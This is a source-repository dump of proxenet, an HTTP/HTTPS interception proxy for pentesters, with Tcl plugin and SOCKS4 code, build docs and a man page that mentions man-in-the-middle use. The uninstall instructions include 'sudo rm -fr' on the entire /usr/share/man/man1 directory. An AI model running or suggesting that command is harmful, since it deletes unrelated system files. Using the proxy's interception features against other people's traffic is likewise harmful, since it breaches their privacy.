| --sslcli-certfile=/path/to/ssl.crt Path to the SSL client certificate to use 54 | --sslcli-domain=my.ssl.domain.com Domain to use for invoking the client certificate (default: '*') 55 | --sslcli-keyfile=/path/to/key.crt Path to the SSL client certificate private key 56 | --sslcli-keyfile-passphrase=MyPwd Specify the password for the SSL client certificate private key (default: '') 57 | 58 | ``` 59 | 60 | ### Explaining Runtime 61 | When started, `proxenet` will start initializing plugins and appending them to 62 | a list **only if** they are valid (filename convention and syntaxically 63 | valid). Then it will start looking for events. 64 | 65 | ``` 66 | $ ./proxenet -4 -t 20 -vvv 67 | INFO: Listening on localhost:8008 68 | INFO: Adding Python plugin 'DeleteEncoding' 69 | INFO: Adding Python plugin 'InjectRequest' 70 | INFO: Adding Lua plugin 'InjectRequest' 71 | INFO: Adding Python plugin 'Intercept' 72 | INFO: Plugins loaded 73 | INFO: 4 plugin(s) found 74 | Plugins list: 75 | |_ priority=1 id=1 type=Python [0x0] name=DeleteEncoding (ACTIVE) 76 | |_ priority=2 id=2 type=Python [0x0] name=InjectRequest (ACTIVE) 77 | |_ priority=2 id=3 type=Lua [0x1] name=InjectRequest (ACTIVE) 78 | |_ priority=9 id=4 type=Python [0x0] name=Intercept (ACTIVE) 79 | ``` 80 | 81 | In this example, 4 plugins were automatically loaded and will be executed **on 82 | every** request/response. This is important to keep in mind. 83 | 84 | `proxenet` allows you to interact with the engine through a Unix socket, by default 85 | located at `/tmp/proxenet-control-socket`. You can connect using `ncat` 86 | command, and display help menu help with `help` command: 87 | ``` 88 | $ ncat -U /tmp/proxenet-control-socket 89 | Welcome on proxenet control interface 90 | Type `help` to list available commands 91 | >>> help 92 | Command list: 93 | quit Leave kindly 94 | help Show this menu 95 | pause Toggle pause 96 | info Display information about environment 97 | verbose Get/Set verbose level 98 | reload Reload the plugins 99 | threads Show info about threads 100 | ``` 101 | 102 | For those unfortunate that do not have `ncat`, a client is provided. Simply run 103 | the Python script `control-client.py` 104 | 105 | Keys and associated functionalities are (I hope) explicit enough :) 106 | 107 | Commands can also be triggered using command line (for scripting for example) 108 | ``` bash 109 | $ echo "plugin toggle 1"| ncat -U /tmp/proxenet-control-socket 110 | Welcome on proxenet control interface 111 | Type `help` to list available commands 112 | >>> Plugin 1 is now ACTIVE 113 | $ 114 | ``` 115 | -------------------------------------------------------------------------------- /plugin-tcl.c: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _TCL_PLUGIN 6 | 7 | /******************************************************************************* 8 | * 9 | * Tcl plugin 10 | * 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | 17 | #include "core.h" 18 | #include "utils.h" 19 | #include "main.h" 20 | #include "plugin.h" 21 | 22 | #define xlog_tcl(t, ...) xlog(t, "["_TCL_VERSION_"] " __VA_ARGS__) 23 | 24 | 25 | /** 26 | * 27 | */ 28 | int proxenet_tcl_load_file(plugin_t* plugin) 29 | { 30 | char* pathname; 31 | Tcl_Interp* tcl_interpreter; 32 | Tcl_Obj* tcl_cmds_ptr; 33 | 34 | if(plugin->state != INACTIVE){ 35 | #ifdef DEBUG 36 | if(cfg->verbose > 2) 37 | xlog_tcl(LOG_DEBUG, "Plugin '%s' is already loaded. Skipping...\n", plugin->name); 38 | #endif 39 | return 0; 40 | } 41 | 42 | pathname = plugin->fullpath; 43 | tcl_interpreter = (Tcl_Interp*) plugin->interpreter->vm; 44 | 45 | if (Tcl_EvalFile (tcl_interpreter, pathname) != TCL_OK){ 46 | xlog_tcl(LOG_ERROR, "Failed to load '%s'\n", pathname); 47 | return -1; 48 | } 49 | 50 | plugin->interpreter->vm = tcl_interpreter; 51 | plugin->interpreter->ready = true; 52 | 53 | 54 | tcl_cmds_ptr = Tcl_NewListObj (0, NULL); 55 | Tcl_IncrRefCount(tcl_cmds_ptr); 56 | Tcl_ListObjAppendElement(tcl_interpreter, tcl_cmds_ptr, Tcl_NewStringObj(CFG_ONLEAVE_PLUGIN_FUNCTION, -1)); 57 | 58 | if (Tcl_EvalObjEx(tcl_interpreter, tcl_cmds_ptr, TCL_EVAL_DIRECT) != TCL_OK) { 59 | xlog_tcl(LOG_WARNING, "%s() failed to execute properly\n", CFG_ONLOAD_PLUGIN_FUNCTION); 60 | } 61 | 62 | Tcl_DecrRefCount(tcl_cmds_ptr); 63 | 64 | return 0; 65 | } 66 | 67 | 68 | /** 69 | * 70 | */ 71 | int proxenet_tcl_initialize_vm(plugin_t* plugin) 72 | { 73 | interpreter_t* interpreter; 74 | Tcl_Interp* tcl_interpreter; 75 | 76 | interpreter = plugin->interpreter; 77 | 78 | if (interpreter->ready) 79 | return 0; 80 | 81 | tcl_interpreter = Tcl_CreateInterp(); 82 | if (!tcl_interpreter) 83 | return -1; 84 | 85 | Tcl_Init(tcl_interpreter); 86 | 87 | return 0; 88 | } 89 | 90 | 91 | /** 92 | * 93 | */ 94 | int proxenet_tcl_destroy_plugin(plugin_t* plugin) 95 | { 96 | Tcl_Interp* tcl_interpreter; 97 | Tcl_Obj* tcl_cmds_ptr; 98 | 99 | tcl_interpreter = (Tcl_Interp*)plugin->interpreter->vm; 100 | 101 | proxenet_plugin_set_state(plugin, INACTIVE); 102 | 103 | tcl_cmds_ptr = Tcl_NewListObj (0, NULL); 104 | Tcl_IncrRefCount(tcl_cmds_ptr); 105 | Tcl_ListObjAppendElement(tcl_interpreter, tcl_cmds_ptr, Tcl_NewStringObj(CFG_ONLEAVE_PLUGIN_FUNCTION, -1)); 106 | 107 | if (Tcl_EvalObjEx(tcl_interpreter, tcl_cmds_ptr, TCL_EVAL_DIRECT) != TCL_OK) { 108 | xlog_tcl(LOG_WARNING, "%s() failed to execute properly\n", CFG_ONLEAVE_PLUGIN_FUNCTION); 109 | } 110 | 111 | Tcl_DecrRefCount(tcl_cmds_ptr); 112 | 113 | plugin->pre_function = NULL; 114 | plugin->post_function = NULL; 115 | return 0; 116 | } 117 | 118 | 119 | /** 120 | * 121 | */ 122 | int proxenet_tcl_destroy_vm(interpreter_t* interpreter) 123 | { 124 | Tcl_Interp* tcl_interpreter; 125 | 126 | tcl_interpreter = (Tcl_Interp*)interpreter->vm; 127 | 128 | Tcl_DeleteInterp(tcl_interpreter); 129 | if(Tcl_InterpDeleted(tcl_interpreter)){ 130 | xlog_tcl(LOG_CRITICAL, "An error occured when deleting TCL interpreter: %s", strerror(errno)); 131 | return -1; 132 | } 133 | 134 | interpreter->ready = false; 135 | interpreter->vm = NULL; 136 | 137 | return 0; 138 | } 139 | 140 | 141 | /** 142 | * 143 | */ 144 | static char* proxenet_tcl_execute_function(interpreter_t* interpreter, request_t *request) 145 | { 146 | char *buf, *uri; 147 | Tcl_Interp* tcl_interpreter; 148 | Tcl_Obj* tcl_cmds_ptr; 149 | size_t len; 150 | int i; 151 | 152 | uri = request->http_infos.uri; 153 | if (!uri) 154 | return NULL; 155 | 156 | tcl_interpreter = (Tcl_Interp*) interpreter->vm; 157 | 158 | /* create the list of commands to be executed by TCL interpreter */ 159 | tcl_cmds_ptr = Tcl_NewListObj (0, NULL); 160 | Tcl_IncrRefCount(tcl_cmds_ptr); 161 | if (request->type == REQUEST) 162 | Tcl_ListObjAppendElement(tcl_interpreter, tcl_cmds_ptr, Tcl_NewStringObj(CFG_REQUEST_PLUGIN_FUNCTION, -1)); 163 | else 164 | Tcl_ListObjAppendElement(tcl_interpreter, tcl_cmds_ptr, Tcl_NewStringObj(CFG_RESPONSE_PLUGIN_FUNCTION, -1)); 165 | 166 | /* pushing arguments */ 167 | Tcl_ListObjAppendElement(tcl_interpreter, tcl_cmds_ptr, Tcl_NewIntObj(request->id)); 168 | Tcl_ListObjAppendElement(tcl_interpreter, tcl_cmds_ptr, Tcl_NewStringObj(request->data, request->size)); 169 | Tcl_ListObjAppendElement(tcl_interpreter, tcl_cmds_ptr, Tcl_NewStringObj(uri, -1)); 170 | 171 | 172 | /* execute the commands */ 173 | if (Tcl_EvalObjEx(tcl_interpreter, tcl_cmds_ptr, TCL_EVAL_DIRECT) != TCL_OK) { 174 | return NULL; 175 | } 176 | 177 | /* get the result */ 178 | Tcl_DecrRefCount(tcl_cmds_ptr); 179 | buf = Tcl_GetStringFromObj( Tcl_GetObjResult(tcl_interpreter), &i); 180 | if (!buf || i<=0) 181 | return NULL; 182 | 183 | len = (size_t)i; 184 | buf = proxenet_xstrdup(buf, len); 185 | if (!buf) 186 | return NULL; 187 | 188 | request->size = len; 189 | return buf; 190 | } 191 | 192 | /** 193 | * 194 | */ 195 | static void proxenet_tcl_lock_vm(interpreter_t *interpreter) 196 | { 197 | pthread_mutex_lock(&interpreter->mutex); 198 | } 199 | 200 | 201 | /** 202 | * 203 | */ 204 | static void proxenet_tcl_unlock_vm(interpreter_t *interpreter) 205 | { 206 | pthread_mutex_unlock(&interpreter->mutex); 207 | } 208 | 209 | /** 210 | * 211 | */ 212 | char* proxenet_tcl_plugin(plugin_t* plugin, request_t *request) 213 | { 214 | char* buf = NULL; 215 | interpreter_t *interpreter = plugin->interpreter; 216 | 217 | proxenet_tcl_lock_vm(interpreter); 218 | buf = proxenet_tcl_execute_function(interpreter, request); 219 | proxenet_tcl_unlock_vm(interpreter); 220 | 221 | return buf; 222 | } 223 | 224 | #endif /* _TCL_PLUGIN */ 225 | -------------------------------------------------------------------------------- /socks.c: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "socket.h" 11 | #include "utils.h" 12 | #include "socks.h" 13 | 14 | #define xlog_socks(t, ...) xlog(t, "[SOCKS4] " __VA_ARGS__) 15 | 16 | /* 17 | * SOCKS4(a) support for proxenet 18 | * Following the specifications from 19 | * - http://www.openssh.com/txt/socks4.protocol 20 | * - http://www.openssh.com/txt/socks4a.protocol 21 | * 22 | * +----+----+----+----+----+----+----+----+----+----+....+----+ 23 | * | VN | CD | DSTPORT | DSTIP | USERID |NULL| 24 | * +----+----+----+----+----+----+----+----+----+----+....+----+ 25 | * # of bytes: 1 1 2 4 variable 1 26 | * 27 | */ 28 | 29 | /** 30 | * 31 | */ 32 | static int send_socks4_connect(sock_t socks_fd, char *ip_str, int port) 33 | { 34 | unsigned char socks_request[SOCKS_REQUEST_MAXLEN]={0,}; 35 | unsigned char ip[4] = {0,}; 36 | char userid[64] = {0,}; 37 | int retcode, n; 38 | 39 | /* VN | CD */ 40 | socks_request[0] = SOCKS_VERSION; 41 | socks_request[1] = SOCKS_REQUEST_CONNECT; 42 | 43 | /* DSTPORT */ 44 | socks_request[2] = (port>>8) & 0xff; 45 | socks_request[3] = port & 0xff; 46 | 47 | /* DSTIP */ 48 | retcode = sscanf(ip_str, "%hhu.%hhu.%hhu.%hhu", &ip[0],&ip[1],&ip[2],&ip[3]); 49 | if(retcode!=4){ 50 | xlog_socks(LOG_ERROR, "IP '%s' does not have a valid IPv4 format\n", ip_str); 51 | return -1; 52 | } 53 | 54 | socks_request[4] = ip[0]; 55 | socks_request[5] = ip[1]; 56 | socks_request[6] = ip[2]; 57 | socks_request[7] = ip[3]; 58 | 59 | 60 | /* USERID */ 61 | n = proxenet_xsnprintf(userid, sizeof(userid)-1, "%s:%s:%d", PROGNAME, ip_str, port); 62 | memcpy(&socks_request[8], userid, n); 63 | 64 | return proxenet_write(socks_fd, socks_request, 8 + n + 1); 65 | } 66 | 67 | 68 | /** 69 | * 70 | */ 71 | static int send_socks4a_connect(sock_t socks_fd, char *hostname, int port) 72 | { 73 | unsigned char socks_request[SOCKS_REQUEST_MAXLEN]={0,}; 74 | char userid[64] = {0,}; 75 | size_t len = 0; 76 | int n; 77 | 78 | /* VN | CD */ 79 | socks_request[0] = SOCKS_VERSION; 80 | socks_request[1] = SOCKS_REQUEST_CONNECT; 81 | 82 | /* DSTPORT */ 83 | socks_request[2] = (port>>8) & 0xff; 84 | socks_request[3] = port & 0xff; 85 | 86 | /* DSTIP */ 87 | socks_request[4] = 0x00; 88 | socks_request[5] = 0x00; 89 | socks_request[6] = 0x00; 90 | socks_request[7] = 0xff; 91 | 92 | len += 8; 93 | 94 | /* USERID */ 95 | n = proxenet_xsnprintf(userid, sizeof(userid)-1, "%s:%s:%d", PROGNAME, hostname, port); 96 | memcpy(&socks_request[len], userid, n); 97 | 98 | len += n+1; 99 | 100 | /* HOSTNAME */ 101 | n = strlen(hostname); 102 | if( (n+len+1) >= sizeof(socks_request)){ 103 | xlog_socks(LOG_ERROR, "%s\n", "Hostname length provided is too large."); 104 | return -1; 105 | } 106 | memcpy(&socks_request[len], hostname, n); 107 | len += n+1; 108 | 109 | return proxenet_write(socks_fd, socks_request, len); 110 | } 111 | 112 | 113 | /** 114 | * 115 | */ 116 | static int parse_sock4_reponse(sock_t socks_fd) 117 | { 118 | char *socks_response; 119 | 120 | int retcode = proxenet_read_all(socks_fd, &socks_response, NULL); 121 | if (retcode < 0){ 122 | xlog_socks(LOG_ERROR, "proxenet_read_all() failed: %s\n", strerror(errno)); 123 | return -1; 124 | } 125 | 126 | if (retcode < 2 || !socks_response){ 127 | /* an error occurs on server-side, just return */ 128 | return -1; 129 | } 130 | 131 | retcode = socks_response[1]; 132 | proxenet_xfree(socks_response); 133 | 134 | return retcode; 135 | } 136 | 137 | 138 | /** 139 | * Establish the CONNECT sequence of SOCKS4a protocol 140 | * 141 | * @return the socket of the established SOCKS server socket, -1 on error 142 | */ 143 | int proxenet_socks_connect(sock_t socks_fd, char *hostname, int port, bool is_socks4a) 144 | { 145 | int retcode; 146 | char *ip_str; 147 | 148 | #ifdef DEBUG 149 | xlog_socks(LOG_DEBUG, "Initiating SOCKS4%s to '%s:%d (sockfd=#%d)'.\n", 150 | is_socks4a?"a":"", hostname, port, socks_fd); 151 | #endif 152 | 153 | if(! is_socks4a){ 154 | ip_str = proxenet_resolve_hostname(hostname, AF_INET); 155 | if(!ip_str) 156 | return -1; 157 | 158 | retcode = send_socks4_connect(socks_fd, ip_str, port); 159 | 160 | } else { 161 | retcode = send_socks4a_connect(socks_fd, hostname, port); 162 | } 163 | 164 | if(retcode < 0){ 165 | xlog_socks(LOG_ERROR, "CONNECT to '%s:%d' failed\n", hostname, port); 166 | return -1; 167 | } 168 | 169 | retcode = parse_sock4_reponse(socks_fd); 170 | switch(retcode){ 171 | case SOCKS_RESPONSE_GRANTED: 172 | #ifdef DEBUG 173 | xlog_socks(LOG_DEBUG, "CONNECT to '%s:%d' success via fd=#%d.\n", 174 | hostname, port, socks_fd); 175 | #endif 176 | break; 177 | 178 | case SOCKS_RESPONSE_REJECTED_FAILED: 179 | xlog_socks(LOG_ERROR, "%s\n", "Request rejected or failed."); 180 | return -1; 181 | 182 | case SOCKS_RESPONSE_REJECTED_CLIENT_FAILED: 183 | xlog_socks(LOG_ERROR, "%s\n", 184 | "Request rejected because SOCKS server cannot connect to " 185 | " identd on the clientRequest rejected or failed"); 186 | return -1; 187 | 188 | case SOCKS_RESPONSE_REJECTED_USERID_FAILED: 189 | xlog_socks(LOG_ERROR, "[SOCKS4] %s\n", 190 | "Request rejected because the client program and identd " 191 | "report different user-ids."); 192 | return -1; 193 | 194 | default: 195 | xlog_socks(LOG_ERROR, "Request rejected or failed (ret=%#x)\n", 196 | retcode); 197 | return -1; 198 | } 199 | 200 | return 0; 201 | } 202 | -------------------------------------------------------------------------------- /docs/compil.md: -------------------------------------------------------------------------------- 1 | ## Compiling proxenet 2 | 3 | ### Pre-requisites 4 | 5 | `proxenet` requires: 6 | 7 | 1. `cmake` as a building engine 8 | 2. `mbedtls` > v2.x for the SSL library 9 | 10 | *Note*: `proxenet` does not support `polarssl` or `mbedtls` < 2.0 11 | 12 | #### CMake 13 | 14 | ##### Linux 15 | 16 | Most distributions will provide `cmake` with their main packaging system. 17 | 18 | If you don't have it, just run 19 | ```bash 20 | $ apt-get install cmake # for Debian-based Linux 21 | or 22 | $ yum install cmake # for RedHat-based Linux 23 | ``` 24 | 25 | ##### Mac OSX 26 | 27 | The best and easiest way to install `cmake` on OSX is through `brew`. 28 | ```bash 29 | $ brew install cmake 30 | ``` 31 | 32 | ##### FreeBSD 33 | 34 | From FreeBSD 10 and up, `cmake` is provided through `pkg` 35 | ```bash 36 | $ pkg install cmake 37 | ``` 38 | 39 | #### PolarSSL 40 | `proxenet` requires a recent version of the `mbedtls` library, 41 | version 1.3 or above. Support for version 1.2.x was definitively 42 | abandoned. 43 | 44 | The choice for PolarSSL as main SSL development library came because of its 45 | easy integration in multi-threaded environment, along with a simple (but 46 | thoroughly documented) API. 47 | 48 | ##### Pre-compiled 49 | 50 | For most distributions, a simple 51 | ```bash 52 | $ apt-get install libmbedcrypto0 libmbedx509-0 libmbedtls-dev # for Debian-based Linux 53 | or 54 | $ yum install mbedtls-devel # for RedHat-based Linux 55 | or 56 | $ brew install mbedtls # for Mac OSX 57 | ``` 58 | will be enough. 59 | 60 | 61 | ##### From source 62 | 63 | Installing the mbedTLS library from source is pretty straight-forward. Here 64 | is an example with version 1.3.13: 65 | ``` bash 66 | $ curl -fsSL https://github.com/ARMmbed/mbedtls/archive/mbedtls-1.3.13.tar.gz | tar xfz - 67 | $ cd mbedtls-mbedtls-1.3.13 && cmake . -DCMAKE_C_FLAGS="-fPIC" -DCMAKE_SHARED_LINKER_FLAGS="-pie" && sudo make install 68 | ``` 69 | 70 | Later versions of mbed TLS can be obtained from the 71 | [GitHub releases page](https://github.com/ARMmbed/mbedtls/releases). 72 | 73 | #### VM support 74 | 75 | By default, `cmake` will try to find all the libraries already installed on the 76 | system to enable specific plugin. Without any additional libraries installed, 77 | the `C` plugin will be the minimum available. 78 | 79 | If you wish to compile `proxenet` with all the VM it currently supports, try the 80 | following command: 81 | 82 | 83 | ##### For Red-Hat based distributions 84 | 85 | 86 | ```bash 87 | $ sudo yum install \ 88 | ruby-devel \ # for compiling with Ruby plugin support 89 | lua-devel \ # for compiling with Lua plugin support 90 | java-1.8.0-openjdk-devel \ # for compiling with Java/OpenJDK plugin support 91 | python-devel \ # for compiling with Python plugin support 92 | perl-devel # for compiling with Perl plugin support 93 | ``` 94 | 95 | ##### For Debian based distributions 96 | 97 | 98 | ```bash 99 | $ sudo apt-get install \ 100 | ruby-dev \ # for compiling with Ruby plugin support 101 | liblua5.2-dev \ # for compiling with Lua plugin support 102 | java-1.8.0-openjdk-dev \ # for compiling with Java/OpenJDK plugin support 103 | python-dev \ # for compiling with Python2 plugin support 104 | python3-dev \ # for compiling with Python3 plugin support 105 | libperl-dev # for compiling with Perl plugin support 106 | ``` 107 | 108 | 109 | ### Compilation 110 | In order to build `proxenet` make sure you have [CMake](http://www.cmake.org) 111 | version 3.0+. 112 | 113 | You can proceed with the compilation like this: 114 | 115 | ```bash 116 | $ git clone https://github.com/hugsy/proxenet.git 117 | $ cd proxenet && cmake . && make 118 | ``` 119 | 120 | `cmake` will generate the `Makefile` for your configuration and the libraries 121 | available on your system, accordingly. 122 | If you want to explicitly enable/disable scripting supports, use the option 123 | `-D` when using `cmake`. For example: 124 | ```bash 125 | $ cmake . -DUSE_C_PLUGIN=OFF && make # to disable C script support 126 | or 127 | $ cmake . -DUSE_PYTHON_PLUGIN=OFF && make # to disable Python script support 128 | ``` 129 | 130 | If you want to install it, the following command will install `proxenet` (by 131 | default in `/opt/proxenet`) and setup the environment too. 132 | ```bash 133 | $ sudo make install 134 | ``` 135 | 136 | If it is your first installation, you should probably run: 137 | ```bash 138 | $ sudo make setup 139 | ``` 140 | To have an environment ready-to-go. 141 | 142 | 143 | ### Re-Compilation 144 | 145 | Once your environment is setup, if you wish to compile `proxenet` to take into 146 | account new changes (for example, a new VM support), simply run the command: 147 | 148 | ```bash 149 | $ make clean rebuild_cache all 150 | ``` 151 | 152 | This will force `cmake` to delete and reconstruct the cache files it created 153 | during the last run. 154 | 155 | 156 | ### Uninstalling 157 | 158 | Uninstalling `proxenet` is probably a bad idea and you will miss it very soon 159 | after so better leave it installed. 160 | 161 | If you **really** want to uninstall it, this can be done either by the Makefile 162 | ```bash 163 | $ sudo make uninstall 164 | ``` 165 | 166 | Or by deleting its installation directory and man page: 167 | ```bash 168 | $ sudo rm -fr /opt/proxenet /usr/share/man/man1 169 | ``` 170 | 171 | ### Setup the environment 172 | 173 | To spawn `proxenet` the first time, you will need to : 174 | 175 | 1. generate your SSL keys (see "SSL Keys" section in the configuration section) 176 | 2. have a valid plugin directory tree. The best way to achieve this is by cloning the `proxenet-plugins` repository. 177 | ```bash 178 | ~/proxenet$ git submodule init 179 | Submodule 'proxenet-plugins' (https://github.com/hugsy/proxenet-plugins.git) registered for path 'proxenet-plugins' 180 | ~/proxenet$ git submodule update 181 | Cloning into 'proxenet-plugins'... 182 | remote: Counting objects: 32, done. 183 | remote: Compressing objects: 100% (27/27), done. 184 | remote: Total 32 (delta 12), reused 15 (delta 4) 185 | Unpacking objects: 100% (32/32), done. 186 | Checking connectivity... done. 187 | Submodule path 'proxenet-plugins': checked out 'b7fa32a72d7e938d891ac393f30b497d6ceaf37d' 188 | ``` 189 | This will populate the `proxenet-plugins` directory with the right setup tree and add some useful plugins. 190 | If you do not wish to download the repository, you will need to create an `autoload` subdirectory manually, inside the `proxenet-plugins` to pass the check. 191 | ```bash 192 | ~/proxenet$ mkdir -p proxenet-plugins/autoload 193 | ``` 194 | 195 | Congratz! Your installation of `proxenet` is ready to go. Let the fun begin... 196 | -------------------------------------------------------------------------------- /proxenet.1: -------------------------------------------------------------------------------- 1 | .TH PROXENET "1" "August 2016" "proxenet v0.4" "User Commands" 2 | 3 | .SH NAME 4 | proxenet \- manual page for proxenet 5 | 6 | .SH DESCRIPTION 7 | .I proxenet 8 | is a multi-threaded proxy which allows you to manipulate HTTP requests 9 | and responses using your favorite scripting language. No need to learn Java 10 | (like for Burp), or Python (like for mitmproxy). 11 | .I proxenet 12 | supports many languages (see the section "Language Versions") and more can be easily 13 | added. It can also be used for Man-In-The-Middle attack, to automate the 14 | interception and manipulation on-the-fly of HTTP/HTTPS requests and responses. 15 | 16 | .SH BASIC OPTIONS 17 | 18 | .TP 19 | \fB\-h\fR, \fB\-\-help\fR 20 | Show help 21 | .TP 22 | \fB\-V\fR, \fB\-\-version\fR 23 | Show version 24 | .TP 25 | \fB\-d\fR, \fB\-\-daemon\fR 26 | Start as daemon 27 | .TP 28 | \fB\-v\fR, \fB\-\-verbose\fR 29 | Increase verbosity (default: 0) 30 | .TP 31 | \fB\-n\fR, \fB\-\-no\-color\fR 32 | Disable colored output 33 | .TP 34 | \fB\-l\fR, \fB\-\-logfile=\fR/path/to/logfile 35 | Log actions in file (default stdout) 36 | .TP 37 | \fB\-x\fR, \fB\-\-plugins=\fR/path/to/plugins/dir 38 | Specify plugins directory (default: '~/.proxenet/plugins') 39 | .PP 40 | 41 | .SH INTERCEPT OPTIONS 42 | .TP 43 | \fB\-I\fR, \fB\-\-intercept\-only\fR 44 | Intercept only hostnames matching pattern (default mode) 45 | .TP 46 | \fB\-E\fR, \fB\-\-intercept\-except\fR 47 | Intercept everything except hostnames matching pattern 48 | .TP 49 | \fB\-m\fR, \fB\-\-pattern\fR=\fI\,PATTERN\/\fR 50 | Specify a hostname matching pattern (default: '*') 51 | .TP 52 | \fB\-N\fR, \fB\-\-no\-ssl\-intercept\fR 53 | Do not intercept any SSL traffic 54 | .TP 55 | \fB\-i\fR, \fB\-\-ie\-compatibility\fR 56 | Toggle old IE compatibility mode (default: on) 57 | .PP 58 | 59 | .SH NETWORK OPTIONS 60 | .TP 61 | \fB\-4\fR 62 | IPv4 only (default) 63 | .TP 64 | \fB\-6\fR 65 | IPv6 only (default: IPv4) 66 | .TP 67 | \fB\-t\fR, \fB\-\-nb\-threads\fR=\fI\,N\/\fR 68 | Number of threads (default: 20) 69 | .TP 70 | \fB\-b\fR, \fB\-\-bind\fR=\fI\,bindaddr\/\fR 71 | Bind local address (default: 'localhost') 72 | .TP 73 | \fB\-p\fR, \fB\-\-port\fR=\fI\,N\/\fR 74 | Bind local port file (default: '8008') 75 | .TP 76 | \fB\-X\fR, \fB\-\-proxy\-host\fR=\fI\,proxyhost\/\fR 77 | Forward to proxy 78 | .TP 79 | \fB\-P\fR \fB\-\-proxy\-port\fR=\fI\,proxyport\/\fR 80 | Specify port for proxy (default: '8080') 81 | .TP 82 | \fB\-D\fR, \fB\-\-use\-socks\fR 83 | The proxy to connect to is supports SOCKS4 (default: 'HTTP') 84 | .PP 85 | 86 | .SH SSL OPTIONS 87 | .TP 88 | \fB\-c\fR, \fB\-\-certfile=\fR/path/to/ssl.crt 89 | Specify SSL cert to use (default: '~/.proxenet/keys/proxenet.crt') 90 | .TP 91 | \fB\-k\fR, \fB\-\-keyfile=\fR/path/to/ssl.key 92 | Specify SSL private key file to use (default: '~/.proxenet/keys/proxenet.key') 93 | .TP 94 | \fB\-\-keyfile\-passphrase\fR=\fI\,MyPwd\/\fR 95 | Specify the password for this SSL key (default: '') 96 | .TP 97 | \fB\-\-sslcli\-certfile=\fR/path/to/ssl.crt 98 | Path to the SSL client certificate to use 99 | .TP 100 | \fB\-\-sslcli\-domain\fR=\fI\,my\/\fR.ssl.domain.com 101 | Domain to use for invoking the client certificate (default: '*') 102 | .TP 103 | \fB\-\-sslcli\-keyfile=\fR/path/to/key.crt 104 | Path to the SSL client certificate private key 105 | .TP 106 | \fB\-\-sslcli\-keyfile\-passphrase\fR=\fI\,MyPwd\/\fR 107 | Specify the password for the SSL client certificate private key (default: '') 108 | .PP 109 | 110 | .SH CONFIGURATION 111 | To start, 112 | .I proxenet 113 | requires to find : 114 | 115 | .TP 116 | - a valid plugin directory, which can be done easily by executing the command: 117 | 118 | $ mkdir -p ~/.proxenet/plugins/autoload 119 | 120 | .TP 121 | - and a valid path for the internal Certificate Authority (CA). The script 122 | .I proxenet-setup-ca.sh 123 | (by default in /opt/proxenet/misc) will generate it for you. 124 | 125 | $ mkdir -p ~/.proxenet/keys && cd ~/.proxenet/keys && 126 | /opt/proxenet/misc/proxenet-setup-ca.sh keys 127 | 128 | .I proxenet 129 | is now ready to be used. 130 | 131 | .SH COMMAND INTERFACES 132 | .I proxenet 133 | can be controlled via a command line interface, or a web interface. Both tools 134 | can be found in the misc/ directory (by default, /opt/proxenet/misc). 135 | 136 | The command line tool will directly communicate with 137 | .I proxenet 138 | Unix socket automatically created when it starts. 139 | 140 | $ /opt/proxenet/misc/proxenet-control-cli.py 141 | [*] 2016/06/06 10:16:41: Connected 142 | Welcome on proxenet control interface 143 | Type `help` to list available commands 144 | 145 | >>> help 146 | Command list 147 | info -> Command 'info':Display information about environment 148 | quit -> Command 'quit':Make proxenet leave kindly 149 | help -> Command 'help':Show this menu 150 | plugin -> Command 'plugin':Get/Set info about plugin 151 | 152 | >>> plugin load 1RemoveAcceptEncodingHeader.py 153 | Plugin '1RemoveAcceptEncodingHeader.py' successfully added 154 | 155 | .I proxenet 156 | web interface tool will spawn a web server binding by default on 157 | localhost:8009/tcp and allow you to control it directly from your web 158 | browser. The web server is based on `bottle` Python package so make sure it is 159 | installed. 160 | 161 | 162 | .SH PLUGINS 163 | .I proxenet 164 | was purposely made to be extremely extensible, and as such, it is easy 165 | to write plugins for it in your favorite language. You just have to implement 166 | two functions called (by default) 167 | .I proxenet_response_hook() 168 | and 169 | .I proxenet_request_hook() 170 | 171 | These two functions have the following properties: 172 | .TP 173 | - Take 3 arguments: 174 | .TP 175 | .I request_id/response_id 176 | type Integer which corresponds to the request/response identifier. This 177 | parameter is unique for each request and allows linking a request to its 178 | response(s) from the server (as a response can be delivered in different 179 | chunks). 180 | .PP 181 | .TP 182 | .I request/response 183 | type String - the request/response itself. The format (depending of the 184 | interpreter), is either a regular string or an array of bytes. 185 | .PP 186 | .TP 187 | .I uri 188 | type String - the full URI 189 | .PP 190 | - Return a String (or array of bytes) 191 | .PP 192 | 193 | To use, simply drop the new plugin into the default plugins directory (as 194 | defined by CFG_DEFAULT_PLUGINS_PATH (by default ./proxenet-plugins), or by 195 | specifying the command line option -x. . 196 | 197 | You can then load the plugin via the web interface or the command client during runtime. 198 | .IP 199 | .B >>> plugin load 1MyNewPlugin.rb 200 | .PP 201 | .IP 202 | Plugin '1MyNewPlugin.rb' successfully added! 203 | .PP 204 | 205 | 206 | 207 | .SH "SEE ALSO" 208 | The full documentation for 209 | .B proxenet 210 | is maintained on the ReadTheDocs page, available at https://proxenet.readthedocs.org/en/latest/. 211 | 212 | .SH AUTHOR 213 | proxenet was written by hugsy 214 | 215 | .SH LICENSE 216 | proxenet is released under license GPLv2. 217 | -------------------------------------------------------------------------------- /docs/plugin.md: -------------------------------------------------------------------------------- 1 | # Write-Your-Own-Plugins 2 | 3 | It is a fact that writing extension for `Burp` is a pain, and other tools that do, 4 | only provide plugins in the language they're written in. 5 | So the basic core idea behind `proxenet`, is to allow pentesters to **easily** 6 | interact with HTTP requests/responses in their favorite high-level language. 7 | 8 | 9 | ## HOWTO write a plugin 10 | 11 | `Proxenet` was purposely made to be extremely extensible, and as such, it is easy to 12 | write plugins for it in your favorite language. You just have to implement two functions 13 | called (by default) `proxenet_response_hook` and `proxenet_request_hook`. 14 | These two functions have the following properties: 15 | 16 | - take 3 arguments 17 | 1. `request_id` (or resp. `response_id`) - type Integer - the request/response 18 | identifier. This parameter is unique for each request and allows linking a 19 | request to its response(s) from the server (as a response can be delivered in 20 | different chunks). 21 | 2. `request` (or resp. `response`) - type String - the 22 | request/response itself. The format (depending of the interpreter), is either 23 | a regular string or an array of bytes. 24 | 3. `uri` - type String - the full URI 25 | - return a String (or array of bytes) 26 | 27 | To use, simply drop the new plugin into the default plugins directory (as defined by 28 | `CFG_DEFAULT_PLUGINS_PATH` (by default `./proxenet-plugins`), or by specifying 